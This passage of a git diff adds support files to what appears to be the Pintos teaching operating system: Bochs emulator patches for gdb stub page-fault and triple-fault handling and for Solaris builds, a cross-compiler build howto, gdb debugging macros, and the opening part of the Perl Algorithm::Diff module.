++CXXFLAGS = $(BX_INCDIRS) @CXXFLAGS@ @GUI_CXXFLAGS@ -fms-extensions
+ LOCAL_CXXFLAGS =
+ LDFLAGS = @LDFLAGS@
+ LIBS = @LIBS@
+
+
diff --git a/src/misc/bochs-2.2.6-page-fault-segv.patch b/src/misc/bochs-2.2.6-page-fault-segv.patch
new file mode 100644
index 0000000..7c61a37
--- /dev/null
+++ b/src/misc/bochs-2.2.6-page-fault-segv.patch
@@ -0,0 +1,79 @@
+Index: bochs-2.2.6/cpu/exception.cc
+diff -u bochs-2.2.6/cpu/exception.cc\~ bochs-2.2.6/cpu/exception.cc
+--- bochs-2.2.6/cpu/exception.cc~ 2006-09-28 15:51:39.000000000 -0700
++++ bochs-2.2.6/cpu/exception.cc 2006-12-08 11:14:33.000000000 -0800
+@@ -1033,6 +1033,10 @@ void BX_CPU_C::exception(unsigned vector
+ BX_CPU_THIS_PTR curr_exception[0] = exception_type;
+ }
+
++#if BX_GDBSTUB
++ bx_gdbstub_exception(vector);
++#endif
++
+ #if BX_CPU_LEVEL >= 2
+ if (!real_mode()) {
+ BX_CPU_THIS_PTR interrupt(vector, 0, push_error, error_code);
+Index: bochs-2.2.6/gdbstub.cc
+diff -u bochs-2.2.6/gdbstub.cc\~ bochs-2.2.6/gdbstub.cc
+--- bochs-2.2.6/gdbstub.cc~ 2006-09-28 15:51:39.000000000 -0700
++++ bochs-2.2.6/gdbstub.cc 2006-12-08 11:12:03.000000000 -0800
+@@ -26,6 +26,7 @@ static int last_stop_reason = GDBSTUB_ST
+ #define GDBSTUB_EXECUTION_BREAKPOINT (0xac1)
+ #define GDBSTUB_TRACE (0xac2)
+ #define GDBSTUB_USER_BREAK (0xac3)
++#define GDBSTUB_EXCEPTION_0E (0xac4)
+
+ static int listen_socket_fd;
+ static int socket_fd;
+@@ -271,6 +272,12 @@ int bx_gdbstub_check(unsigned int eip)
+ return(GDBSTUB_STOP_NO_REASON);
+ }
+
++void bx_gdbstub_exception(unsigned int nr)
++{
++ if (nr == 0x0e)
++ last_stop_reason = GDBSTUB_EXCEPTION_0E;
++}
++
+ static int remove_breakpoint(unsigned int addr, int len)
+ {
+ unsigned int i;
+@@ -452,6 +459,10 @@ static void debug_loop(void)
+ {
+ write_signal(&buf[1], SIGTRAP);
+ }
++ else if (last_stop_reason == GDBSTUB_EXCEPTION_0E)
++ {
++ write_signal(&buf[1], SIGSEGV);
++ }
+ else
+ {
+ write_signal(&buf[1], 0);
+@@ -476,10 +487,14 @@ static void debug_loop(void)
+ {
+ write_signal(&buf[1], SIGTRAP);
+ }
+- else
++ else if (last_stop_reason == GDBSTUB_EXCEPTION_0E)
+ {
+ write_signal(&buf[1], SIGSEGV);
+ }
++ else
++ {
++ write_signal(&buf[1], 0);
++ }
+ put_reply(buf);
+ break;
+ }
+Index: bochs-2.2.6/bochs.h
+diff -u bochs-2.2.6/bochs.h\~ bochs-2.2.6/bochs.h
+--- bochs-2.2.6/bochs.h~ 2006-09-28 15:51:39.000000000 -0700
++++ bochs-2.2.6/bochs.h 2006-12-08 11:14:19.000000000 -0800
+@@ -375,6 +375,7 @@ BOCHSAPI extern logfunc_t *genlog;
+ // defines for GDB stub
+ void bx_gdbstub_init(int argc, char* argv[]);
+ int bx_gdbstub_check(unsigned int eip);
++void bx_gdbstub_exception(unsigned int nr);
+ #define GDBSTUB_STOP_NO_REASON (0xac0)
+
+ #if BX_SUPPORT_SMP
diff --git a/src/misc/bochs-2.2.6-paranoia.patch b/src/misc/bochs-2.2.6-paranoia.patch
new file mode 100644
index 0000000..ff8d736
--- /dev/null
+++ b/src/misc/bochs-2.2.6-paranoia.patch
@@ -0,0 +1,19 @@
+Index: bochs-2.2.6/iodev/hdimage.h
+diff -u bochs-2.2.6/iodev/hdimage.h\~ bochs-2.2.6/iodev/hdimage.h
+--- bochs-2.2.6/iodev/hdimage.h~ 2005-11-06 03:07:01.000000000 -0800
++++ bochs-2.2.6/iodev/hdimage.h 2006-09-28 15:55:50.000000000 -0700
+@@ -273,14 +273,8 @@ class sparse_image_t : public device_ima
+
+ void panic(const char * message);
+ off_t
+-#ifndef PARANOID
+- sparse_image_t::
+-#endif
+ get_physical_offset();
+ void
+-#ifndef PARANOID
+- sparse_image_t::
+-#endif
+ set_virtual_page(Bit32u new_virtual_page);
+ void read_header();
+ ssize_t read_page_fragment(Bit32u read_virtual_page, Bit32u read_page_offset, size_t read_size, void * buf);
diff --git a/src/misc/bochs-2.2.6-solaris-link.patch b/src/misc/bochs-2.2.6-solaris-link.patch
new file mode 100644
index 0000000..5afef49
--- /dev/null
+++ b/src/misc/bochs-2.2.6-solaris-link.patch
@@ -0,0 +1,11 @@
+--- bochs-2.2.6.orig/Makefile.in 2006-04-03 16:34:51.170387000 -0700
++++ bochs-2.2.6/Makefile.in 2006-04-03 16:34:57.480303000 -0700
+@@ -93,7 +93,7 @@
+ CFLAGS = @CFLAGS@ @GUI_CFLAGS@ $(MCH_CFLAGS) $(FLA_FLAGS) @DEFINE_PLUGIN_PATH@ -DBX_SHARE_PATH='"$(sharedir)"'
+ CXXFLAGS = @CXXFLAGS@ @GUI_CXXFLAGS@ $(MCH_CFLAGS) $(FLA_FLAGS) @DEFINE_PLUGIN_PATH@ -DBX_SHARE_PATH='"$(sharedir)"'
+
+-LDFLAGS = @LDFLAGS@
++LDFLAGS = @LDFLAGS@ -lsocket
+ LIBS = @LIBS@
+ # To compile with readline:
+ # linux needs just -lreadline
diff --git a/src/misc/bochs-2.2.6-solaris-tty.patch b/src/misc/bochs-2.2.6-solaris-tty.patch
new file mode 100644
index 0000000..a9725dc
--- /dev/null
+++ b/src/misc/bochs-2.2.6-solaris-tty.patch
@@ -0,0 +1,31 @@
+--- bochs-2.2.6/iodev/serial.cc 2005-07-11 09:24:47.000000000 -0700
++++ bochs-2.2.6.patch/iodev/serial.cc 2006-05-28 16:41:33.278938000 -0700
+@@ -245,8 +245,13 @@
+ BX_SER_THIS s[i].io_mode = BX_SER_MODE_TERM;
+ BX_DEBUG(("com%d tty_id: %d", i+1, BX_SER_THIS s[i].tty_id));
+ tcgetattr(BX_SER_THIS s[i].tty_id, &BX_SER_THIS s[i].term_orig);
+- bcopy((caddr_t) &BX_SER_THIS s[i].term_orig, (caddr_t) &BX_SER_THIS s[i].term_new, sizeof(struct termios));
+- cfmakeraw(&BX_SER_THIS s[i].term_new);
++ memcpy((caddr_t) &BX_SER_THIS s[i].term_new, (caddr_t) &BX_SER_THIS s[i].term_orig, sizeof(struct termios));
++ BX_SER_THIS s[i].term_new.c_iflag &= ~(IGNBRK|BRKINT|PARMRK|ISTRIP
++ |INLCR|IGNCR|ICRNL|IXON);
++ BX_SER_THIS s[i].term_new.c_oflag &= ~OPOST;
++ BX_SER_THIS s[i].term_new.c_lflag &= ~(ECHO|ECHONL|ICANON|ISIG|IEXTEN);
++ BX_SER_THIS s[i].term_new.c_cflag &= ~(CSIZE|PARENB);
++ BX_SER_THIS s[i].term_new.c_cflag |= CS8;
+ BX_SER_THIS s[i].term_new.c_oflag |= OPOST | ONLCR; // Enable NL to CR-NL translation
+ #ifndef TRUE_CTLC
+ // ctl-C will exit Bochs, or trap to the debugger
+
+
+--- bochs-2.2.6/iodev/serial.h 2005-07-10 09:51:09.000000000 -0700
++++ bochs-2.2.6.patch/iodev/serial.h 2006-05-28 16:39:03.757839000 -0700
+@@ -40,7 +40,7 @@
+ #define SERIAL_ENABLE
+ #endif
+
+-#if defined(__NetBSD__) || defined(__FreeBSD__) || defined(__OpenBSD__) || defined(__linux__) || defined(__GNU__) || defined(__GLIBC__) || defined(__APPLE__)
++#if defined(__NetBSD__) || defined(__FreeBSD__) || defined(__OpenBSD__) || defined(__linux__) || defined(__GNU__) || defined(__GLIBC__) || defined(__APPLE__) || defined(__sun__)
+ #define SERIAL_ENABLE
+ extern "C" {
+ #include <termios.h>
diff --git a/src/misc/bochs-2.2.6-triple-fault.patch b/src/misc/bochs-2.2.6-triple-fault.patch
new file mode 100644
index 0000000..f6d0871
--- /dev/null
+++ b/src/misc/bochs-2.2.6-triple-fault.patch
@@ -0,0 +1,57 @@
+diff -u bochs-2.2.6.orig/cpu/exception.cc bochs-2.2.6/cpu/exception.cc
+--- bochs-2.2.6.orig/cpu/exception.cc
++++ bochs-2.2.6/cpu/exception.cc
+@@ -841,6 +841,13 @@ void BX_CPU_C::exception(unsigned vector
+
+ BX_CPU_THIS_PTR errorno++;
+ if (BX_CPU_THIS_PTR errorno >= 3) {
++#if BX_GDBSTUB
++ if (bx_dbg.gdbstub_enabled) {
++ fprintf(stderr, "Triple fault: stopping for gdb\n");
++ BX_CPU_THIS_PTR ispanic = 1;
++ longjmp(BX_CPU_THIS_PTR jmp_buf_env, 1);
++ }
++#endif
+ #if BX_RESET_ON_TRIPLE_FAULT
+ BX_ERROR(("exception(): 3rd (%d) exception with no resolution, shutdown status is %02xh, resetting", vector, DEV_cmos_get_reg(0x0f)));
+ debug(BX_CPU_THIS_PTR prev_eip);
+@@ -860,6 +867,13 @@ void BX_CPU_C::exception(unsigned vector
+
+ /* if 1st was a double fault (software INT?), then shutdown */
+ if ( (BX_CPU_THIS_PTR errorno==2) && (BX_CPU_THIS_PTR curr_exception[0]==BX_ET_DOUBLE_FAULT) ) {
++#if BX_GDBSTUB
++ if (bx_dbg.gdbstub_enabled) {
++ fprintf(stderr, "Triple fault: stopping for gdb\n");
++ BX_CPU_THIS_PTR ispanic = 1;
++ longjmp(BX_CPU_THIS_PTR jmp_buf_env, 1);
++ }
++#endif
+ #if BX_RESET_ON_TRIPLE_FAULT
+ BX_INFO(("exception(): triple fault encountered, shutdown status is %02xh, resetting", DEV_cmos_get_reg(0x0f)));
+ debug(BX_CPU_THIS_PTR prev_eip);
+diff -u bochs-2.2.6.orig/gdbstub.cc bochs-2.2.6/gdbstub.cc
+--- bochs-2.2.6.orig/gdbstub.cc
++++ bochs-2.2.6/gdbstub.cc
+@@ -466,19 +466,19 @@ static void debug_loop(void)
+
+ BX_INFO (("stepping"));
+ stub_trace_flag = 1;
++ bx_cpu.ispanic = 0;
+ bx_cpu.cpu_loop(-1);
+ DEV_vga_refresh();
+ stub_trace_flag = 0;
+ BX_INFO (("stopped with %x", last_stop_reason));
+ buf[0] = 'S';
+- if (last_stop_reason == GDBSTUB_EXECUTION_BREAKPOINT ||
+- last_stop_reason == GDBSTUB_TRACE)
++ if (last_stop_reason == GDBSTUB_TRACE && !bx_cpu.ispanic)
+ {
+ write_signal(&buf[1], SIGTRAP);
+ }
+ else
+ {
+- write_signal(&buf[1], SIGTRAP);
++ write_signal(&buf[1], SIGSEGV);
+ }
+ put_reply(buf);
+ break;
diff --git a/src/misc/gcc-3.3.6-cross-howto b/src/misc/gcc-3.3.6-cross-howto
new file mode 100644
index 0000000..ad25173
--- /dev/null
+++ b/src/misc/gcc-3.3.6-cross-howto
@@ -0,0 +1,39 @@
+Here are the commands we used to build and install the SPARC
+cross-compiler:
+
+PINTOSROOT=$HOME/private/pintos
+
+PREFIX=/usr/class/cs140/`uname -m`
+PATH=$PATH:$PREFIX/bin
+TMP=`pwd`
+
+wget ftp://ftp.gnu.org/pub/gnu/binutils/binutils-2.15.tar.bz2
+wget ftp://sources.redhat.com/pub/newlib/newlib-1.13.0.tar.gz
+wget ftp://ftp.gnu.org/pub/gnu/gcc/gcc-3.3.6/gcc-core-3.3.6.tar.bz2
+wget ftp://ftp.gnu.org/pub/gnu/gdb/gdb-6.3.tar.bz2
+
+bzcat binutils-2.15.tar.bz2 | tar x
+tar xzf newlib-1.13.0.tar.gz
+bzcat gcc-core-3.3.6.tar.bz2 | tar x
+bzcat gdb-6.3.tar.bz2 | tar x
+
+cd $TMP/binutils-2.15
+mkdir i386
+cd i386
+../configure --target=i386-elf --prefix=$PREFIX
+make LDFLAGS=-lintl
+make install
+
+cd $TMP/gcc-3.3.6
+mkdir i386
+cd i386
+../configure --target=i386-elf --prefix=$PREFIX --with-gnu-as --with-as=$PREFIX/bin/i386-elf-as --with-gnu-ld --with-ld=$PREFIX/bin/i386-elf-ld --with-headers=$TMP/newlib-1.13.0/newlib/libc/include --with-newlib
+make
+make install
+
+cd $TMP/gdb-6.3
+mkdir i386
+cd i386
+../configure --target=i386-elf --prefix=$PREFIX --disable-tui
+make LDFLAGS=-lintl
+make install
diff --git a/src/misc/gdb-macros b/src/misc/gdb-macros
new file mode 100644
index 0000000..a0d0e54
--- /dev/null
+++ b/src/misc/gdb-macros
@@ -0,0 +1,120 @@
+#
+# A set of useful macros that can help debug Pintos.
+#
+# Include with "source" cmd in gdb.
+# Use "help user-defined" for help.
+#
+# Author: Godmar Back <gback@cs.vt.edu>, Feb 2006
+#
+# $Id: gdb-macros,v 1.1 2006-04-07 18:29:34 blp Exp $
+#
+
+# for internal use
+define offsetof
+ set $rc = (char*)&((struct $arg0 *)0)->$arg1 - (char*)0
+end
+
+define list_entry
+ offsetof $arg1 $arg2
+ set $rc = ((struct $arg1 *) ((uint8_t *) ($arg0) - $rc))
+end
+
+# dump a Pintos list
+define dumplist
+ set $list = $arg0
+ set $e = $list->head.next
+ set $i = 0
+ while $e != &(($arg0).tail)
+ list_entry $e $arg1 $arg2
+ set $l = $rc
+ printf "pintos-debug: dumplist #%d: %p ", $i++, $l
+ output *$l
+ set $e = $e->next
+ printf "\n"
+ end
+end
+
+document dumplist
+ Dump the content of a Pintos list,
+ invoke as dumplist name_of_list name_of_struct name_of_elem_in_list_struct
+end
+
+# print a thread's backtrace, given a pointer to the struct thread *
+define btthread
+ if $arg0 == ($esp - ((unsigned)$esp % 4096))
+ bt
+ else
+ set $saveEIP = $eip
+ set $saveESP = $esp
+ set $saveEBP = $ebp
+
+ set $esp = ((struct thread *)$arg0)->stack
+ set $ebp = ((void**)$esp)[2]
+ set $eip = ((void**)$esp)[4]
+
+ bt
+
+ set $eip = $saveEIP
+ set $esp = $saveESP
+ set $ebp = $saveEBP
+ end
+end
+document btthread
+ Show the backtrace of a thread,
+ invoke as btthread pointer_to_struct_thread
+end
+
+# print backtraces associated with all threads in a list
+define btthreadlist
+ set $list = $arg0
+ set $e = $list->head.next
+ while $e != &(($arg0).tail)
+ list_entry $e thread $arg1
+ printf "pintos-debug: dumping backtrace of thread '%s' @%p\n", \
+ ((struct thread*)$rc)->name, $rc
+ btthread $rc
+ set $e = $e->next
+ printf "\n"
+ end
+end
+document btthreadlist
+ Given a list of threads, print each thread's backtrace
+ invoke as btthreadlist name_of_list name_of_elem_in_list_struct
+end
+
+# print a correct backtrace by adjusting $eip
+# this works best right at intr0e_stub
+define btpagefault
+ set $saveeip = $eip
+ set $eip = ((void**)$esp)[1]
+ backtrace
+ set $eip = $saveeip
+end
+document btpagefault
+ Print a backtrace of the current thread after a pagefault
+end
+
+# invoked whenever the program stops
+define hook-stop
+ # stopped at stub #0E = #14 (page fault exception handler stub)
+ if ($eip == intr0e_stub)
+ set $savedeip = ((void**)$esp)[1]
+ # if this was in user mode, the OS should handle it
+ # either handle the page fault or terminate the process
+ if ($savedeip < 0xC0000000)
+ printf "pintos-debug: a page fault exception occurred in user mode\n"
+ printf "pintos-debug: hit 'c' to continue, or 's' to step to intr_handler\n"
+ else
+ # if this was in kernel mode, a stack trace might be useful
+ printf "pintos-debug: a page fault occurred in kernel mode\n"
+ btpagefault
+ end
+ end
+end
+
+define debugpintos
+ target remote localhost:1234
+end
+document debugpintos
+ Attach debugger to pintos process
+end
diff --git a/src/tests/Algorithm/Diff.pm b/src/tests/Algorithm/Diff.pm
new file mode 100644
index 0000000..904c530
--- /dev/null
+++ b/src/tests/Algorithm/Diff.pm
@@ -0,0 +1,1713 @@
+package Algorithm::Diff;
+# Skip to first "=head" line for documentation.
+use strict;
+
+use integer; # see below in _replaceNextLargerWith() for mod to make
+ # if you don't use this
+use vars qw( $VERSION @EXPORT_OK );
+$VERSION = 1.19_01;
+# ^ ^^ ^^-- Incremented at will
+# | \+----- Incremented for non-trivial changes to features
+# \-------- Incremented for fundamental changes
+require Exporter;
+*import = \&Exporter::import;
+@EXPORT_OK = qw(
+ prepare LCS LCDidx LCS_length
+ diff sdiff compact_diff
+ traverse_sequences traverse_balanced
+);
+
+# McIlroy-Hunt diff algorithm
+# Adapted from the Smalltalk code of Mario I. Wolczko, <mario@wolczko.com>
+# by Ned Konz, perl@bike-nomad.com
+# Updates by Tye McQueen, http://perlmonks.org/?node=tye
+
+# Create a hash that maps each element of $aCollection to the set of
+# positions it occupies in $aCollection, restricted to the elements
+# within the range of indexes specified by $start and $end.
+# The fourth parameter is a subroutine reference that will be called to
+# generate a string to use as a key.
+# Additional parameters, if any, will be passed to this subroutine.
+#
+# my $hashRef = _withPositionsOfInInterval( \@array, $start, $end, $keyGen );
+
+sub _withPositionsOfInInterval
+{
+ my $aCollection = shift; # array ref
+ my $start = shift;
+ my $end = shift;
+ my $keyGen = shift;
+ my %d;
+ my $index;
+ for ( $index = $start ; $index <= $end ; $index++ )
+ {
+ my $element = $aCollection->[$index];
+ my $key = &$keyGen( $element, @_ );
+ if ( exists( $d{$key} ) )
+ {
+ unshift ( @{ $d{$key} }, $index );
+ }
+ else
+ {
+ $d{$key} = [$index];
+ }
+ }
+ return wantarray ? %d : \%d;
+}
+
+# Find the place at which aValue would normally be inserted into the
+# array. If that place is already occupied by aValue, do nothing, and
+# return undef. If the place does not exist (i.e., it is off the end of
+# the array), add it to the end, otherwise replace the element at that
+# point with aValue. It is assumed that the array's values are numeric.
+# This is where the bulk (75%) of the time is spent in this module, so
+# try to make it fast!
+
+sub _replaceNextLargerWith
+{
+ my ( $array, $aValue, $high ) = @_;
+ $high ||= $#$array;
+
+ # off the end?
+ if ( $high == -1 || $aValue > $array->[-1] )
+ {
+ push ( @$array, $aValue );
+ return $high + 1;
+ }
+
+ # binary search for insertion point...
+ my $low = 0;
+ my $index;
+ my $found;
+ while ( $low <= $high )
+ {
+ $index = ( $high + $low ) / 2;
+
+ # $index = int(( $high + $low ) / 2); # without 'use integer'
+ $found = $array->[$index];
+
+ if ( $aValue == $found )
+ {
+ return undef;
+ }
+ elsif ( $aValue > $found )
+ {
+ $low = $index + 1;
+ }
+ else
+ {
+ $high = $index - 1;
+ }
+ }
+
+ # now insertion point is in $low.
+ $array->[$low] = $aValue; # overwrite next larger
+ return $low;
+}
+
+# This method computes the longest common subsequence in $a and $b.
+
+# Result is array or ref, whose contents is such that
+# $a->[ $i ] == $b->[ $result[ $i ] ]
+# foreach $i in ( 0 .. $#result ) if $result[ $i ] is defined.
+
+# An additional argument may be passed; this is a hash or key generating
+# function that should return a string that uniquely identifies the given
+# element. It should be the case that if the key is the same, the elements
+# will compare the same. If this parameter is undef or missing, the key
+# will be the element as a string.
+
+# By default, comparisons will use "eq" and elements will be turned into keys
+# using the default stringizing operator '""'.
+
+# Additional parameters, if any, will be passed to the key generation
+# routine.
+
+sub _longestCommonSubsequence
+{
+ my $a = shift; # array ref or hash ref
+ my $b = shift; # array ref or hash ref
+ my $counting = shift; # scalar
+ my $keyGen = shift; # code ref
+ my $compare; # code ref
+
+ if ( ref($a) eq 'HASH' )
+ { # prepared hash must be in $b
+ my $tmp = $b;
+ $b = $a;
+ $a = $tmp;
+ }
+
+ # Check for bogus (non-ref) argument values
+ if ( !ref($a) || !ref($b) )
+ {
+ my @callerInfo = caller(1);
+ die 'error: must pass array or hash references to ' . $callerInfo[3];
+ }
+
+ # set up code refs
+ # Note that these are optimized.
+ if ( !defined($keyGen) ) # optimize for strings
+ {
+ $keyGen = sub { $_[0] };
+ $compare = sub { my ( $a, $b ) = @_; $a eq $b };
+ }
+ else
+ {
+ $compare = sub {
+ my $a = shift;
+ my $b = shift;
+ &$keyGen( $a, @_ ) eq &$keyGen( $b, @_ );
+ };
+ }
+
+ my ( $aStart, $aFinish, $matchVector ) = ( 0, $#$a, [] );
+ my ( $prunedCount, $bMatches ) = ( 0, {} );
+
+ if ( ref($b) eq 'HASH' ) # was $bMatches prepared for us?
+ {
+ $bMatches = $b;
+ }
+ else
+ {
+ my ( $bStart, $bFinish ) = ( 0, $#$b );
+
+ # First we prune off any common elements at the beginning
+ while ( $aStart <= $aFinish
+ and $bStart <= $bFinish
+ and &$compare( $a->[$aStart], $b->[$bStart], @_ ) )
+ {
+ $matchVector->[ $aStart++ ] = $bStart++;
+ $prunedCount++;
+ }
+
+ # now the end
+ while ( $aStart <= $aFinish
+ and $bStart <= $bFinish
+ and &$compare( $a->[$aFinish], $b->[$bFinish], @_ ) )
+ {
+ $matchVector->[ $aFinish-- ] = $bFinish--;
+ $prunedCount++;
+ }
+
+ # Now compute the equivalence classes of positions of elements
+ $bMatches =
+ _withPositionsOfInInterval( $b, $bStart, $bFinish, $keyGen, @_ );
+ }
+ my $thresh = [];
+ my $links = [];
+
+ my ( $i, $ai, $j, $k );
+ for ( $i = $aStart ; $i <= $aFinish ; $i++ )
+ {
+ $ai = &$keyGen( $a->[$i], @_ );
+ if ( exists( $bMatches->{$ai} ) )
+ {
+ $k = 0;
+ for $j ( @{ $bMatches->{$ai} } )
+ {
+
+ # optimization: most of the time this will be true
+ if ( $k and $thresh->[$k] > $j and $thresh->[ $k - 1 ] < $j )
+ {
+ $thresh->[$k] = $j;
+ }
+ else
+ {
+ $k = _replaceNextLargerWith( $thresh, $j, $k );
+ }
+
+ # oddly, it's faster to always test this (CPU cache?).
+ if ( defined($k) )
+ {
+ $links->[$k] =
+ [ ( $k ? $links->[ $k - 1 ] : undef ), $i, $j ];
+ }
+ }
+ }
+ }
+
+ if (@$thresh)
+ {
+ return $prunedCount + @$thresh if $counting;
+ for ( my $link = $links->[$#$thresh] ; $link ; $link = $link->[0] )
+ {
+ $matchVector->[ $link->[1] ] = $link->[2];
+ }
+ }
+ elsif ($counting)
+ {
+ return $prunedCount;
+ }
+
+ return wantarray ? @$matchVector : $matchVector;
+}
+
+sub traverse_sequences
+{
+ my $a = shift; # array ref
+ my $b = shift; # array ref
+ my $callbacks = shift || {};
+ my $keyGen = shift;
+ my $matchCallback = $callbacks->{'MATCH'} || sub { };
+ my $discardACallback = $callbacks->{'DISCARD_A'} || sub { };
+ my $finishedACallback = $callbacks->{'A_FINISHED'};
+ my $discardBCallback = $callbacks->{'DISCARD_B'} || sub { };
+ my $finishedBCallback = $callbacks->{'B_FINISHED'};
+ my $matchVector = _longestCommonSubsequence( $a, $b, 0, $keyGen, @_ );
+
+ # Process all the lines in @$matchVector
+ my $lastA = $#$a;
+ my $lastB = $#$b;
+ my $bi = 0;
+ my $ai;
+
+ for ( $ai = 0 ; $ai <= $#$matchVector ; $ai++ )
+ {
+ my $bLine = $matchVector->[$ai];
+ if ( defined($bLine) ) # matched
+ {
+ &$discardBCallback( $ai, $bi++, @_ ) while $bi < $bLine;
+ &$matchCallback( $ai, $bi++, @_ );
+ }
+ else
+ {
+ &$discardACallback( $ai, $bi, @_ );
+ }
+ }
+
+ # The last entry (if any) processed was a match.
+ # $ai and $bi point just past the last matching lines in their sequences.
+
+ while ( $ai <= $lastA or $bi <= $lastB )
+ {
+
+ # last A?
+ if ( $ai == $lastA + 1 and $bi <= $lastB )
+ {
+ if ( defined($finishedACallback) )
+ {
+ &$finishedACallback( $lastA, @_ );
+ $finishedACallback = undef;
+ }
+ else
+ {
+ &$discardBCallback( $ai, $bi++, @_ ) while $bi <= $lastB;
+ }
+ }
+
+ # last B?
+ if ( $bi == $lastB + 1 and $ai <= $lastA )
+ {
+ if ( defined($finishedBCallback) )
+ {
+ &$finishedBCallback( $lastB, @_ );
+ $finishedBCallback = undef;
+ }
+ else
+ {
+ &$discardACallback( $ai++, $bi, @_ ) while $ai <= $lastA;
+ }
+ }
+
+ &$discardACallback( $ai++, $bi, @_ ) if $ai <= $lastA;
+ &$discardBCallback( $ai, $bi++, @_ ) if $bi <= $lastB;
+ }
+
+ return 1;
+}
+
+sub traverse_balanced
+{
+ my $a = shift; # array ref
+ my $b = shift; # array ref
+ my $callbacks = shift || {};
+ my $keyGen = shift;
+ my $matchCallback = $callbacks->{'MATCH'} || sub { };
+ my $discardACallback = $callbacks->{'DISCARD_A'} || sub { };
+ my $discardBCallback = $callbacks->{'DISCARD_B'} || sub { };
+ my $changeCallback = $callbacks->{'CHANGE'};
+ my $matchVector = _longestCommonSubsequence( $a, $b, 0, $keyGen, @_ );
+
+ # Process all the lines in match vector
+ my $lastA = $#$a;
+ my $lastB = $#$b;
+ my $bi = 0;
+ my $ai = 0;
+ my $ma = -1;
+ my $mb;
+
+ while (1)
+ {
+
+ # Find next match indices $ma and $mb
+ do {
+ $ma++;
+ } while(
+ $ma <= $#$matchVector
+ && !defined $matchVector->[$ma]
+ );
+
+ last if $ma > $#$matchVector; # end of matchVector?
+ $mb = $matchVector->[$ma];
+
+ # Proceed with discard a/b or change events until
+ # next match
+ while ( $ai < $ma || $bi < $mb )
+ {
+
+ if ( $ai < $ma && $bi < $mb )
+ {
+
+ # Change
+ if ( defined $changeCallback )
+ {
+ &$changeCallback( $ai++, $bi++, @_ );
+ }
+ else
+ {
+ &$discardACallback( $ai++, $bi, @_ );
+ &$discardBCallback( $ai, $bi++, @_ );
+ }
+ }
+ elsif ( $ai < $ma )
+ {
+ &$discardACallback( $ai++, $bi, @_ );
+ }
+ else
+ {
+
+ # $bi < $mb
+ &$discardBCallback( $ai, $bi++, @_ );
+ }
+ }
+
+ # Match
+ &$matchCallback( $ai++, $bi++, @_ );
+ }
+
+ while ( $ai <= $lastA || $bi <= $lastB )
+ {
+ if ( $ai <= $lastA && $bi <= $lastB )
+ {
+
+ # Change
+ if ( defined $changeCallback )
+ {
+ &$changeCallback( $ai++, $bi++, @_ );
+ }
+ else
+ {
+ &$discardACallback( $ai++, $bi, @_ );
+ &$discardBCallback( $ai, $bi++, @_ );
+ }
+ }
+ elsif ( $ai <= $lastA )
+ {
+ &$discardACallback( $ai++, $bi, @_ );
+ }
+ else
+ {
+
+ # $bi <= $lastB
+ &$discardBCallback( $ai, $bi++, @_ );
+ }
+ }
+
+ return 1;
+}
+
+sub prepare
+{
+ my $a = shift; # array ref
+ my $keyGen = shift; # code ref
+
+ # set up code ref
+ $keyGen = sub { $_[0] } unless defined($keyGen);
+
+ return scalar _withPositionsOfInInterval( $a, 0, $#$a, $keyGen, @_ );
+}
+
+sub LCS
+{
+ my $a = shift; # array ref
+ my $b = shift; # array ref or hash ref
+ my $matchVector = _longestCommonSubsequence( $a, $b, 0, @_ );
+ my @retval;
+ my $i;
+ for ( $i = 0 ; $i <= $#$matchVector ; $i++ )
+ {
+ if ( defined( $matchVector->[$i] ) )
+ {
+ push ( @retval, $a->[$i] );
+ }
+ }
+ return wantarray ? @retval : \@retval;
+}
+
+sub LCS_length
+{
+ my $a = shift; # array ref
+ my $b = shift; # array ref or hash ref
+ return _longestCommonSubsequence( $a, $b, 1, @_ );
+}
+
+sub LCSidx
+{
+ my $a= shift @_;
+ my $b= shift @_;
+ my $match= _longestCommonSubsequence( $a, $b, 0, @_ );
+ my @am= grep defined $match->[$_], 0..$#$match;
+ my @bm= @{$match}[@am];
+ return \@am, \@bm;
+}
+
+sub compact_diff
+{
+ my $a= shift @_;
+ my $b= shift @_;
+ my( $am, $bm )= LCSidx( $a, $b, @_ );
+ my @cdiff;
+ my( $ai, $bi )= ( 0, 0 );
+ push @cdiff, $ai, $bi;
+ while( 1 ) {
+ while( @$am && $ai == $am->[0] && $bi == $bm->[0] ) {
+ shift @$am;
+ shift @$bm;
+ ++$ai, ++$bi;
+ }
+ push @cdiff, $ai, $bi;
+ last if ! @$am;
+ $ai = $am->[0];
+ $bi = $bm->[0];
+ push @cdiff, $ai, $bi;
+ }
+ push @cdiff, 0+@$a, 0+@$b
+ if $ai < @$a || $bi < @$b;
+ return wantarray ? @cdiff : \@cdiff;
+}
+
+sub diff
+{
+ my $a = shift; # array ref
+ my $b = shift; # array ref
+ my $retval = [];
+ my $hunk = [];
+ my $discard = sub {
+ push @$hunk, [ '-', $_[0], $a->[ $_[0] ] ];
+ };
+ my $add = sub {
+ push @$hunk, [ '+', $_[1], $b->[ $_[1] ] ];
+ };
+ my $match = sub {
+ push @$retval, $hunk
+ if 0 < @$hunk;
+ $hunk = []
+ };
+ traverse_sequences( $a, $b,
+ { MATCH => $match, DISCARD_A => $discard, DISCARD_B => $add }, @_ );
+ &$match();
+ return wantarray ? @$retval : $retval;
+}
+
+sub sdiff
+{
+ my $a = shift; # array ref
+ my $b = shift; # array ref
+ my $retval = [];
+ my $discard = sub { push ( @$retval, [ '-', $a->[ $_[0] ], "" ] ) };
+ my $add = sub { push ( @$retval, [ '+', "", $b->[ $_[1] ] ] ) };
+ my $change = sub {
+ push ( @$retval, [ 'c', $a->[ $_[0] ], $b->[ $_[1] ] ] );
+ };
+ my $match = sub {
+ push ( @$retval, [ 'u', $a->[ $_[0] ], $b->[ $_[1] ] ] );
+ };
+ traverse_balanced(
+ $a,
+ $b,
+ {
+ MATCH => $match,
+ DISCARD_A => $discard,
+ DISCARD_B => $add,
+ CHANGE => $change,
+ },
+ @_
+ );
+ return wantarray ? @$retval : $retval;
+}
+
+########################################
+my $Root= __PACKAGE__;
+package Algorithm::Diff::_impl;
+use strict;
+
+sub _Idx() { 0 } # $me->[_Idx]: Ref to array of hunk indices
+ # 1 # $me->[1]: Ref to first sequence
+ # 2 # $me->[2]: Ref to second sequence
+sub _End() { 3 } # $me->[_End]: Diff between forward and reverse pos
+sub _Same() { 4 } # $me->[_Same]: 1 if pos 1 contains unchanged items
+sub _Base() { 5 } # $me->[_Base]: Added to range's min and max
+sub _Pos() { 6 } # $me->[_Pos]: Which hunk is currently selected
+sub _Off() { 7 } # $me->[_Off]: Offset into _Idx for current position
